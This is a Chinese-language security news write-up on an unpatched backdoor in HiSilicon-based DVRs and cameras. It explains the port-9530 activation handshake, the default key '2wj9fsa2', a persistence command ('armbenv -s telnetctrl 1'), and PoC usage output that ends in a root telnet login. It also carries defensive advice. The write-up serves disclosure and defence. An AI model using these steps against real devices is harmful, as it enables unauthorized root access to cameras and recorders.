俄罗斯安全专家弗拉迪斯拉夫·亚马克(Vladislav Yarmak)已发布了有关他在海西芯片中发现的后门机制的技术细节。

 

据称,利用后门可以让攻击者获得目标设备中root权限的shell,完全控制住设备。该专家随后还针对该漏洞发布了相关PoC代码。

该专家在之前并没有向海思公司透露这一漏洞,原因是他对该公司在漏洞处理方面缺乏信任。

海思是一家总部位于深圳的中国半导体公司,隶属于华为,也是中国最大的集成电路设计公司,其芯片被全球数以百万计的物联网设备所使用,包括安全摄像头、DVR和NVR。

 

专家发布了用于华为海思芯片中未修补后门攻击代码

针对最新版本的硬件,从固件开始下手,攻击者只需简单的手段就可以获得root权限的shell。

 

先用工具抓包,发现和摄像头的9530端口进行通信,发送命令给摄像头

OpenTelnet:OpenOnce

然后telnet登陆上摄像头,使用命令netstat -ap查看是谁在用9530这个端口

# netstat -apActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    tcp        0      0 0.0.0.0:34567           0.0.0.0:*               LISTEN      1190/Sofiatcp        0      0 0.0.0.0:554             0.0.0.0:*               LISTEN      1190/Sofiatcp        0      0 0.0.0.0:www             0.0.0.0:*               LISTEN      1190/Sofiatcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN      1169/telnetdtcp        0      0 0.0.0.0:23000           0.0.0.0:*               LISTEN      1190/Sofiatcp        0      0 0.0.0.0:9530            0.0.0.0:*               LISTEN      1165/dvrHelper

dvrHelper

这是个啥玩意呢?

因为摄像头的busybox里命令残缺不全,在里面找东西和分析都麻烦的很,所以还是在本地固件里分析吧。

在固件文件夹里搜索到dvrHelper,发现是dvrbox的链接,然后查找dvrbox中的文本

除了找到OpenTelnet:OpenOnce之外,还找到了OpenTelnet:Forever

 

开始查找系统的可写目录,仅找到以下三个

/mnt/mtd

/utils

/var/tmp

其中/utils是内存系统,重启后会清空,所以不是此目录

/var/tmp也是临时文件夹,重启会删除,所以也不是此目录

本来试图修改/etc/init.d文件夹下的rcS文件,做到开机启动telnetd

但是该文件是只读,研究许久都没发现修改该文件或者其子过程的办法

/mnt/mtd呢?

研究半天/mnt/mtd,也是毫无头绪,改确实是可以改,但是没法添加到启动项中去,不过也可能是使用文件作为配置文件,启动检测到文件存在时则执行telnetd,否则不执行,这点只能从固件中找答案

仍然是研究dvrbox文件

#strings dvrbox |grep telnettelnetctrlLIBDVR : Get telnetctrl Fialed, telnetctrl=1macGuarder: Open telnetd Foreverkillall telnetdmacGuarder: Close telnetd Forever

居然还有 killall telnetd 语句,是不是即使将telnetd想办法添加到启动项,也会被干掉?

但是又注意到另外一个字符telnetctrl
难道telnetctrl就是该配置参数名?

使用telnetctrl在固件文件夹下全局搜索

发现仅在armbenv中再次提到了该参数

那armbenv是个什么呢?

执行armbenv命令,提示使用-r参数打印环境信息

继续执行armbenv -r

 

根据结果以及个人的猜测,我认为armbenv是设置系统启动环境变量用的

另外其有一个-s参数,可以设置param,要不试试?

执行以下命令 armbenv -s telnetctrl 1

提示成功

再执行armbenv -r

发现telnetctrl已经存在

 

重启

直接telnet

成功!

 

后门激活流程如下:

1.客户端连接目标设备的9530端口,发送字符串OpenTelnet:OpenOnce,该字符串前面要加上指示消息长度的字节。该步骤对于以前版本的后门利用是最后一步。如果此步骤后没有响应,则telneted服务可能已经运行。

2.服务端(指设备)会回复randNum:XXXXXXXX,其中XXXXXXXX是8位随机数字。

3.客户端使用预共享密钥作为加密密钥,配合随机数进行以下步骤。

4.客户端利用加密密钥加密随机数字,附加在randNum:之后,再在头部添加总长度的字节,然后发送给服务端。

5.服务端从/mnt/custom/TelnetOEMPasswd加载预共享密钥,或直接使用默认密钥2wj9fsa2

6.服务端对随机数进行加密,并验证结果是否与客户端发送过来是否一样。验证成功回复verify:OK,否则回复verify:ERROR

7.客户端加密字符串Telnet:OpenOnce,前面带上总长度字节,CMD:字符串,然后发送给服务端。

8.服务端解密出接受到的命令。如果得到的结果等于字符串Telnet:OpenOnce,就会回复Open:OK,开启调试端口9527,启动telnet服务。

9.挑个密码登录吧

专家发布了用于华为海思芯片中未修补后门攻击代码

持久化后门的方法:

当然需要先以root身份登录设备

1. armbenv -s telnetctrl 1

2.再执行armbenv -r

3.重启

4.直接telnet

5.成功!

最重要的

PoC

代码链接:https://github.com/Snawoot/hisilicon-dvr-telnet

用法:./hs-dvr-telnet HOST PSK

其中PSK默认是2wj9fsa2

示例用法

$ telnet 198.51.100.23Trying 198.51.100.23...telnet: Unable to connect to remote host: Connection refused$ ./hs-dvr-telnet 198.51.100.23 2wj9fsa2Sent OpenTelnet:OpenOnce command.randNum:46930886challenge=469308862wj9fsa2verify:OKOpen:OK$ telnet 198.51.100.23Trying 198.51.100.23...Connected to 198.51.100.23.Escape character is '^]'.LocalHost login: rootPassword:

对使用海思芯片的用户来说,非常不乐观的是,目前针对该后门没有可用的补丁,但POC已公开。

Vladislav Yarmak表示,考虑到海思之前对相关漏洞的修复,指望厂商提供补丁是不现实的。

作为临时防御措施,用户可以根据需要限制对受影响设备的网络访问,只允许受信任的用户进行访问。(推荐有使用海思芯片的用户,尽快考虑准入设备,或者直接拆掉这些设备)

从目前情况来看,已有几十个品牌和数百个型号易受到黑客攻击

专家发布了用于华为海思芯片中未修补后门攻击代码

 

参考来源:

Expert released PoC exploit code for unpatched backdoor in HiSilicon chips

https://habr.com/ru/post/332526/

https://github.com/tothi/pwn-hisilicon-dvr

本文来源于互联网:专家发布了用于华为海思芯片中未修补后门攻击代码